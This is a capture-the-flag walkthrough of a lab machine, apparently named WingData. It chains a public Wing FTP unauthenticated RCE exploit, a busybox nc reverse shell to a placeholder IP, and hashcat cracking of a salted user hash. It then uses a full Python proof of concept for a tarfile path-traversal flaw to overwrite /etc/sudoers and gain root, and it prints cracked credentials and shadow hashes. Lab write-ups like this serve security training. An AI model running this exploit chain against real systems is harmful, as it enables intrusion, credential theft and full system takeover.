Enum
$ export IP=10.129.7.100
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
Open 10.129.7.100:22
Open 10.129.7.100:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
| 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open http syn-ack Apache httpd 2.4.66
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ echo "$IP wingdata.htb" | sudo tee -a /etc/hosts
10.129.7.100 wingdata.htb- Visit site
- Links to
ftp.wingdata.htb

- Update
/etc/hosts
$ echo "$IP wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
10.129.7.100 wingdata.htb ftp.wingdata.htb- Visiting this endpoint reveals software

- Searching for “WING FTP 7.4.3 CVE” we find https://www.exploit-db.com/exploits/52347
- Unauthenticated RCE so let’s try it out
$ curl -O https://www.exploit-db.com/download/52347
$ python 52347 -u http://ftp.wingdata.htb/ -c "id"
[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 7cdc00a9850928fd8574288295b658acf528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 7cdc00a9850928fd8574288295b658acf528764d624db129b32c21fbca0cb8d6
--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------
$ python 52347 -u http://ftp.wingdata.htb/ -c "cat /etc/passwd | grep bash"
[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'cat /etc/passwd | grep bash' and username: 'anonymous'
[+] UID extracted: 1f887a5b9f73ed92902ed07951ee4aecf528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 1f887a5b9f73ed92902ed07951ee4aecf528764d624db129b32c21fbca0cb8d6
--- Command Output ---
root:x:0:0:root:/root:/bin/bash
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash
----------------------- Successful RCE so let us get a revshell for easier enumeration
busyboxpayload worked well- Start listener
$ penelope -p 6969- Send payload
$ python 52347 -u http://ftp.wingdata.htb/ -c "busybox nc <YOUR_IP> 6969 -e /bin/bash"- Should catch shell
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingftp@wingdata:/opt/wftpserver$ ls /home
wackyUser
- WingFTP Password Docs HERE
- Passwords are salted sha256 (Default salt =
WingFTP) - We already know what user we are targeting
wacky - WingFTP stores information under
Datadirectory (in our case/opt/wftpserver/Data/1)
wingftp@wingdata:/opt/wftpserver$ ls -la
total 26504
drwxr-x--- 9 wingftp wingftp 4096 Feb 16 06:35 .
drwxr-xr-x 4 root root 4096 Feb 9 08:19 ..
drwxr-x--- 4 wingftp wingftp 4096 Feb 16 06:35 Data
-rwxr-x--- 1 wingftp wingftp 4834 Jul 31 2018 License.txt
drwxr-x--- 5 wingftp wingftp 4096 Feb 16 16:17 Log
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 lua
-rw-r--r-- 1 wingftp wingftp 5 Feb 16 06:35 pid-wftpserver.pid
-rwxr-x--- 1 wingftp wingftp 1434 Sep 13 2020 README
drwxr-x--- 2 wingftp wingftp 4096 Feb 16 17:00 session
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 session_admin
-rwxr-x--- 1 wingftp wingftp 115258 Mar 26 2025 version.txt
drwxr-x--- 10 wingftp wingftp 12288 Feb 9 08:19 webadmin
drwxr-x--- 13 wingftp wingftp 4096 Feb 9 08:19 webclient
-rwxr-x--- 1 wingftp wingftp 4649509 Sep 14 2021 wftpconsole
-rwxr-x--- 1 wingftp wingftp 3272 Nov 2 11:11 wftp_default_ssh.key
-rwxr-x--- 1 wingftp wingftp 1342 Nov 22 2017 wftp_default_ssl.crt
-rwxr-x--- 1 wingftp wingftp 1675 Nov 22 2017 wftp_default_ssl.key
-rwxr-x--- 1 wingftp wingftp 22283682 Mar 26 2025 wftpserver
wingftp@wingdata:/opt/wftpserver$ ls -la Data
total 40
drwxr-x--- 4 wingftp wingftp 4096 Feb 16 06:35 .
drwxr-x--- 9 wingftp wingftp 4096 Feb 16 06:35 ..
drwxr-x--- 4 wingftp wingftp 4096 Feb 9 08:19 1
drwxr-x--- 2 wingftp wingftp 4096 Feb 16 06:35 _ADMINISTRATOR
-rw------- 1 wingftp wingftp 11264 Nov 2 11:11 bookmark_db
-rwxr-x--- 1 wingftp wingftp 2554 Nov 2 16:23 settings.xml
-rwxr-x--- 1 wingftp wingftp 241 Nov 2 11:12 ssh_host_ecdsa_key
-rw-rw-rw- 1 wingftp wingftp 3272 Nov 2 11:52 ssh_host_key
wingftp@wingdata:/opt/wftpserver$ ls -la Data/1/
total 32
drwxr-x--- 4 wingftp wingftp 4096 Feb 9 08:19 .
drwxr-x--- 4 wingftp wingftp 4096 Feb 16 06:35 ..
drwxr-x--- 2 wingftp wingftp 4096 Feb 9 08:19 groups
-rwxr-x--- 1 wingftp wingftp 624 Nov 2 16:28 portlistener.xml
-rwxr-x--- 1 wingftp wingftp 11861 Nov 2 12:21 settings.xml
drwxr-x--- 2 wingftp wingftp 4096 Feb 16 17:00 users- Reading
settings.xmlwe can confirm salt is default value
wingftp@wingdata:/opt/wftpserver$ cat /opt/wftpserver/Data/1/settings.xml | grep -i salt
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>- Can also read hashed passwords for users within their respective
*.xmlfile - Really only care about
wackyfor this machine
wingftp@wingdata:/opt/wftpserver$ ls -la Data/1/users
total 28
drwxr-x--- 2 wingftp wingftp 4096 Feb 16 17:00 .
drwxr-x--- 4 wingftp wingftp 4096 Feb 9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2842 Feb 16 17:00 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2846 Nov 2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov 2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov 2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2856 Nov 2 12:28 wacky.xml
wingftp@wingdata:/opt/wftpserver$ cat Data/1/users/wacky.xml | grep -i password
<EnablePassword>1</EnablePassword>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
<PasswordLength>0</PasswordLength>
<CanChangePassword>0</CanChangePassword>- Can now attempt cracking
$hash:$saltformat
$ hashcat -m 1410 '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' /usr/share/wordlists/rockyou.txt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5Wacky Credentials
wacky@wingdata.htb
!#7Blushing^*Bride5
- Works on panel but doesn’t seem interesting

- Attempting SSH we find successful authentication and user flag
$ sshpass -p '!#7Blushing^*Bride5' ssh -o StrictHostKeyChecking=no wacky@wingdata.htb
wacky@wingdata:~$ ls
user.txtRoot
- Always check
sudoprivs
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *- Reading the script we find some attack vectors to investigate
$ wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.pyrestore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)
args = parser.parse_args()
if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)
if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)
tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)
if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")
os.makedirs(staging_dir, exist_ok=True)
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)
if __name__ == "__main__":
main()- Script basically creates and restores
tararchives assudoin our case - So our vulnerability probably lies in exactly that functionality
- Searching online for
python tarfile CVEwe find CVE-2025-4517 PoC - Patched in
python v3.13.4
wacky@wingdata:~$ python3 --version
Python 3.12.3- Vulnerable version indeed
- PoC showcases bypassing path traversal checks and enabling arbitrary file write
- We can attempt to do many tricks here but I will replace
/etc/sudoersfavoring simplicity- Could inject SSH authentication in root
- Could overwrite cronjob to execute a cmd
- Do what you want
- Modifying the PoC is simple by replacing the required fields and removing unneeded functions
- Needs to meet expected naming conventions and file paths mentioned in script above
root.py
import tarfile
import os
import io
import sys
comp = "d" * (55 if sys.platform == "darwin" else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_6969.tar", mode="x") as tar:
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
linkpath = os.path.join("/".join(steps), "l" * 254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = "../" * len(steps)
tar.addfile(l)
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../etc"
tar.addfile(e)
f = tarfile.TarInfo("link")
f.type = tarfile.LNKTYPE
f.linkname = "escape/sudoers"
tar.addfile(f)
content = b"ALL ALL=(ALL) NOPASSWD: ALL\n"
c = tarfile.TarInfo("link")
c.type = tarfile.REGTYPE
c.size = len(content)
tar.addfile(c, fileobj=io.BytesIO(content))- Now run the script to generate evil
/opt/backup_clients/backups/backup_6969.tar - Run
sudocommand using that new file providing expected arguments - Check if we get different output from
sudo -lin any user
wacky@wingdata:~$ python3 root.py
wacky@wingdata:~$ ls /opt/backup_clients/backups
backup_6969.tar
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_6969.tar -r restore_sudoers
[+] Backup: backup_6969.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_sudoers
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_sudoers
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(ALL) NOPASSWD: ALL
wingftp@wingdata:/opt/wftpserver$ sudo -l
User wingftp may run the following commands on wingdata:
(ALL) NOPASSWD: ALL- We have successfully overwritten
/etc/sudoersand can now jump intorootshell easily
wacky@wingdata:~$ sudo su
root@wingdata:/home/wacky$ ls /root
root.txt
wingftp@wingdata:/opt/wftpserver$ sudo su
root@wingdata:/opt/wftpserver$ ls /root
root.txtroot:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::